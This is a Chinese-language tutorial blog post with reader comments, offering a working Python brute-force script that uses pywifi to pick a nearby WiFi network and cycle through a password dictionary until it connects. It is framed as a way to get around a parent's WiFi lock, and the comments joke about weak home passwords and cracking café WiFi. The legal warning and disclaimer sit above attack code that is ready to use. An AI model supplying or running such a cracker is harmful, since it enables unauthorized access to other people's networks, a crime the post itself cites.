iT邦幫忙

2021 iThome 鐵人賽

DAY 14
10
Software Development

奇怪的知識增加了!原來程式還可以這樣用?!系列 第 14

[Day14] 家裡WiFi被媽媽鎖了怎麼辦? 教你用Python破解WiFi密碼 !

《刑法》第358條:「無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞,而入侵他人之電腦或其相關設備者,處三年以下有期徒刑、拘役或科或併科三十萬元以下罰金。」

破解人家WiFi密碼是犯法的喔!然後未經同意使用別人的WiFi會再犯一個法,
我們只能破解自己家的密碼,不要去破解鄰居家的WiFi喔!

免責聲明: 若讀者因私德問題侵犯他人權益,本人不負任何責任


遙想當年考試前媽媽都會把家裡的WiFi鎖起來,沒WiFi真的有夠痛苦...
這個程式獻給家管嚴又想上網增長知識的朋友們~

使用環境

程式碼

import pywifi
from pywifi import const
import time
import inquirer

def connect(name,password):
    interface = pywifi.PyWiFi().interfaces()[0]
    interface.disconnect() # 中斷目前wifi連線
    time.sleep(1)
    if interface.status() == const.IFACE_DISCONNECTED:
        prof = pywifi.Profile()
        prof.ssid = name # wifi的ssid(wifi名稱)
        prof.key = password # wifi的密碼
        prof.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
        prof.auth = const.AUTH_ALG_OPEN # 網卡的開放
        prof.cipher = const.CIPHER_TYPE_CCMP # 加密單元
        interface.remove_all_network_profiles() # 刪除所有的wifi文件
        tep_prof = interface.add_network_profile(prof)
        interface.connect(tep_prof) # 自動連上破解的wifi
        time.sleep(1)
        if interface.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
def main():
    file = open("D:/password.txt",'r') # 打開下載的密碼字典
    wifis = []
    iface = pywifi.PyWiFi().interfaces()[0] # 掃描現有的wifi
    res = iface.scan_results()
    for i, prof in enumerate(res):
        wifis.append(prof.ssid)
    questions = [ # wifi選單
        inquirer.List('wifi', message = "你要破解哪個wifi?", choices = wifis),
    ]
    answers = inquirer.prompt(questions)
    curr_name = answers['wifi']
        
    while 1:
        curr_pwd = file.readline()
        try:
            status = connect(curr_name,curr_pwd)
            if status:
                print("密碼是:"+curr_pwd)
                break
            else:
               print("錯誤的密碼:%s"%curr_pwd)
        except:
            continue
    file.close()
if __name__=='__main__':
	main()

成果發表會

注意看右下角的WiFi狀態! 取得WiFi正確密碼就會自己連上囉~
因為時間有限,就只拿幾個密碼當範例

溫馨小提醒

pywifi破解密碼的速度很慢,所以實際效用不大,
而且密碼本也不一定能100%破解,但是有試有機會啦><


上一篇
[Day13] 搶 PS5 程式怎麼寫? 動態爬蟲詳細教學!
下一篇
[Day15] 明天是女友的生日卻忘記準備禮物? 教你三秒做出愛心照片牆!
系列文
奇怪的知識增加了!原來程式還可以這樣用?!24
1
dscwferp
iT邦高手 1 級 ‧ 2021-09-14 12:57:05

還好我家WIFI密碼很複雜
不怕破!

lulu_meat iT邦新手 4 級 ‧ 2021-09-14 13:08:15 檢舉

我家密碼超簡單的...不用密碼本也能破...
應該說直接猜都能破

password嗎XD

lulu_meat iT邦新手 4 級 ‧ 2021-09-15 10:41:38 檢舉

88888888

2
Pulin
iT邦新手 5 級 ‧ 2021-09-14 14:29:25

看來幽默細胞生回來了/images/emoticon/emoticon01.gif

lulu_meat iT邦新手 4 級 ‧ 2021-09-14 16:18:31 檢舉

哇! 有注意看文章喔 XD

1
johnqq
iT邦新手 5 級 ‧ 2021-09-14 15:38:54

我記得網路上有常用密碼的字典檔
ps.不過我看過同事用中文轉注音輸入法的按法當密碼,這個就不太可能存在字典檔中了,給看這篇的爸爸媽媽參考看看XD

lulu_meat iT邦新手 4 級 ‧ 2021-09-14 15:55:47 檢舉

只能祈禱爸媽用手機設定密碼了><

1
gior__ann
iT邦新手 4 級 ‧ 2021-09-15 08:42:29

不知道咖啡廳的密碼破不破的了XDD
~ 想之前,我的網路還沒吃到飽/images/emoticon/emoticon10.gif ,看到一堆網路卻不能連的痛苦

我要留言

立即登入留言